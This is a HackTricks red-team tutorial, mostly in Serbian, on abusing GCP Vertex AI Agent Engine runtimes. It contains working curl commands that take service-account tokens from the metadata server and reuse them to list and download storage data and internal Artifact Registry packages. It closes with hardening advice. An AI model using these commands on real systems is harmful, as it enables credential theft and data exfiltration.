GCP - Vertex AI Post Exploitation

Tip

Nauči & vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Vertex AI Agent Engine / Reasoning Engine

Ova stranica se fokusira na workload-e Vertex AI Agent Engine / Reasoning Engine koji pokreću alatke ili kod pod kontrolom napadača unutar Google-managed runtime-a.

For the general Vertex AI overview check:

GCP - Vertex AI Enum

For classic Vertex AI privesc paths using custom jobs, models, and endpoints check:

GCP - Vertex AI Privesc

Why this service is special

Agent Engine uvodi koristan ali opasan obrazac: developer-supplied code running inside a managed Google runtime with a Google-managed identity.

Zanimljive granice poverenja su:

  • Consumer project: vaš projekat i vaši podaci.
  • Producer project: Google-managed project koji upravlja backend servisom.
  • Tenant project: Google-managed project posvećen instanci agenta koja je deploy-ovana.

Prema Google-ovoj Vertex AI IAM dokumentaciji, Vertex AI resources mogu koristiti Vertex AI service agents kao resource identities, i ti service agents po defaultu mogu imati read-only access to all Cloud Storage resources and BigQuery data in the project. Ako kod koji se izvršava unutar Agent Engine može ukrasti runtime credentials, taj podrazumevani pristup postaje odmah zanimljiv.

Main abuse path

  1. Deploy-ujte ili modifikujte agenta tako da kod alatke pod kontrolom napadača izvršava unutar managed runtime-a.
  2. Upitajte metadata server da povratite project identity, service account identity, OAuth scopes i access tokens.
  3. Ponovo iskoristite ukradeni token kao Vertex AI Reasoning Engine P4SA / service agent.
  4. Pivot-ujte u consumer project i pročitajte project-wide storage data koju omogućava service agent.
  5. Pređite u producer i tenant okruženja dostupna istim identitetom.
  6. Enumerišite interne Artifact Registry pakete i izvucite tenant deployment artefakte kao što su Dockerfile.zip, requirements.txt, i code.pkl.

Ovo nije samo problem “run code in your own agent”. Ključni problem je kombinacija:

  • metadata-accessible credentials
  • broad default service-agent privileges
  • wide OAuth scopes
  • multi-project trust boundaries hidden behind one managed service

Enumeration

Identifikacija Agent Engine resursa

The resource name format used by Agent Engine is:

projects/<project-id>/locations/<location>/reasoningEngines/<reasoning-engine-id>

Ako imate token sa pristupom Vertex AI, direktno izlistajte Reasoning Engine API:

PROJECT_ID=<project-id>
LOCATION=<location>

curl -s \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${LOCATION}-aiplatform.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/reasoningEngines"

Proverite deployment logove, jer oni mogu leak interne putanje proizvođača Artifact Registry koje se koriste tokom pakovanja ili pri pokretanju runtime-a:

gcloud logging read \
'textPayload:("pkg.dev" OR "reasoning-engine") OR jsonPayload:("pkg.dev" OR "reasoning-engine")' \
--project <project-id> \
--limit 50 \
--format json

Istraživanje Unit 42 uočilo je interne putanje kao što su:

us-docker.pkg.dev/cloud-aiplatform-private/reasoning-engine
us-docker.pkg.dev/cloud-aiplatform-private/llm-extension/reasoning-engine-py310:prod

Krađa kredencijala metapodataka iz runtime-a

Ako možete izvršavati kod unutar runtime-a agenta, prvo upitajte servis metapodataka:

curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true'

Zanimljiva polja uključuju:

  • identifikatori projekata
  • the attached service account / service agent
  • OAuth scopes dostupni runtime-u

Zatim zatražite token za povezani identitet:

curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'

Validiraj token i ispitaj dodeljene scopes:

TOKEN="$(curl -s -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq -r .access_token)"

curl -s \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d "access_token=${TOKEN}" \
https://www.googleapis.com/oauth2/v1/tokeninfo

Warning

Google je promenio delove ADK deployment workflow-a nakon što je istraživanje prijavljeno, pa se tačni stari deployment snippets možda više ne poklapaju sa aktuelnim SDK-om. Bitna primitiva je i dalje ista: ako kod pod kontrolom napadača bude izvršen unutar Agent Engine runtime-a, kredencijali izvedeni iz metapodataka postaju dostupni osim ako dodatne kontrole ne blokiraju taj put.

Pivot iz consumer projekta: krađa podataka service-agenta

Kada je runtime token ukraden, proverite efektivan pristup service agenta u consumer projektu.

Dokumentovana rizična podrazumevana mogućnost je širok pristup za čitanje podataka projekta. Istraživanje Unit 42 je konkretno potvrdilo:

  • storage.buckets.get
  • storage.buckets.list
  • storage.objects.get
  • storage.objects.list

Praktična validacija sa ukradenim tokenom:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<project-id>"

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o"

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o/<url-encoded-object>?alt=media"

Ovo pretvara kompromitovanog ili malicioznog agenta u project-wide storage exfiltration primitive.

Producer-project pivot: interni pristup Artifact Registry

Isti ukradeni identitet može takođe raditi protiv Google-managed producer resources.

Počnite testiranjem internih repository URI-ja dobijenih iz logova. Zatim enumerišite pakete pomoću Artifact Registry API-ja:

packages_request = artifactregistry_service.projects().locations().repositories().packages().list(
parent=f"projects/{project_id}/locations/{location_id}/repositories/llm-extension"
)
packages_response = packages_request.execute()
packages = packages_response.get("packages", [])

Ako imate samo sirovi bearer token, pozovite REST API direktno:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://artifactregistry.googleapis.com/v1/projects/<producer-project>/locations/<location>/repositories/llm-extension/packages"

Ovo je vredno čak i ako je pristup za pisanje blokiran jer otkriva:

  • interni nazivi imidža
  • zastareli imidži
  • struktura lanca snabdevanja
  • inventar paketa/verzija za dalja istraživanja

For more Artifact Registry background check:

GCP - Artifact Registry Enum

Pivot na projekat zakupca: preuzimanje artefakata deploymenta

Reasoning Engine deploymenti takođe ostavljaju zanimljive artefakte u projekatu zakupca kojim Google kontroliše tu instancu.

Istraživanje Unit 42 je pronašlo:

  • Dockerfile.zip
  • code.pkl
  • requirements.txt

Koristite ukradeni token da enumerišete dostupna skladišta i pretražite artefakte raspoređivanja:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<tenant-project>"

Artefakti iz tenant projekta mogu otkriti:

  • imena internih bucketova
  • reference internih image-a
  • pretpostavke o pakovanju
  • liste zavisnosti
  • serijalizovani kod agenta

Blog je takođe uočio internu referencu poput:

gs://reasoning-engine-restricted/versioned_py/Dockerfile.zip

Čak i kada referencirani restricted bucket nije čitljiv, those leaked paths pomažu mapiranju interne infrastrukture.

code.pkl i uslovni RCE

Ako deployment pipeline skladišti izvršno stanje agenta u Python pickle formatu, tretirajte ga kao cilj visokog rizika.

Neposredni problem je poverljivost:

  • offline deserializacija može otkriti strukturu koda
  • format paketa leaks detalje implementacije

Veći problem je uslovni RCE:

  • ako napadač može manipulisati serijalizovanim artefaktom pre deserializacije na strani servisa
  • a pipeline kasnije učita taj pickle
  • izvršavanje proizvoljnog koda postaje moguće unutar upravljanog runtime okruženja

Ovo nije samostalni exploit. To je opasan deserialization sink koji postaje kritičan kada se kombinuje sa bilo kojim mehanizmom za upis artefakta ili supply-chain tampering primitive.

OAuth scopes i Workspace blast radius

Metadata response takođe otkriva OAuth scopes pridružene runtime-u.

Ako ti scopes budu širi od minimuma potrebnog, ukradeni token može postati koristan protiv više nego samo GCP API-ja. IAM i dalje odlučuje da li je identitet ovlašćen, ali široki scopes povećavaju blast radius i čine kasnije pogrešne konfiguracije opasnijim.

Ako nađete Workspace-related scopes, proverite da li kompromitovani identitet takođe ima put do Workspace impersonation ili delegated access:

GCP <–> Workspace Pivoting

Hardening / detection

Preferirajte custom service account umesto podrazumevanog managed identity

Trenutna Agent Engine dokumentacija podržava postavljanje custom service account za deployovanog agenta. To je najčistiji način da se smanji blast radius:

  • uklonite zavisnost od podrazumevanog širokog service agent-a
  • dodelite samo minimalne dozvole koje agentu trebaju
  • učinite identitet runtime-a revizibilnim i namerno ograničenim

Validirajte stvarni pristup service-agent-a

Pregledajte efektivan pristup Vertex AI service agent-a u svakom projektu gde se koristi Agent Engine:

gcloud projects get-iam-policy <project-id> \
--format json | jq '
.bindings[]
| select(any(.members[]?; contains("gcp-sa-aiplatform") or contains("aiplatform-re")))
'

Proverite da li priloženi identitet može da čita:

  • sve GCS buckets
  • BigQuery datasets
  • Artifact Registry repositories
  • secrets ili interni registri dostupni iz build/deployment workflows

Tretirajte kod agenta kao privilegovano izvršavanje koda

Bilo koji alat/funkcija koji agent izvršava treba pregledati kao da se radi o kodu koji se izvršava na VM-u sa pristupom metadata. U praksi to znači:

  • pregledajte alate agenta zbog direktnog HTTP pristupa metadata endpoint-ima
  • pregledajte logove zbog referenci na interne pkg.dev repositories i tenant buckets
  • pregledajte svaku packaging putanju koja čuva izvršno stanje kao pickle

Reference

Tip

Nauči & vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks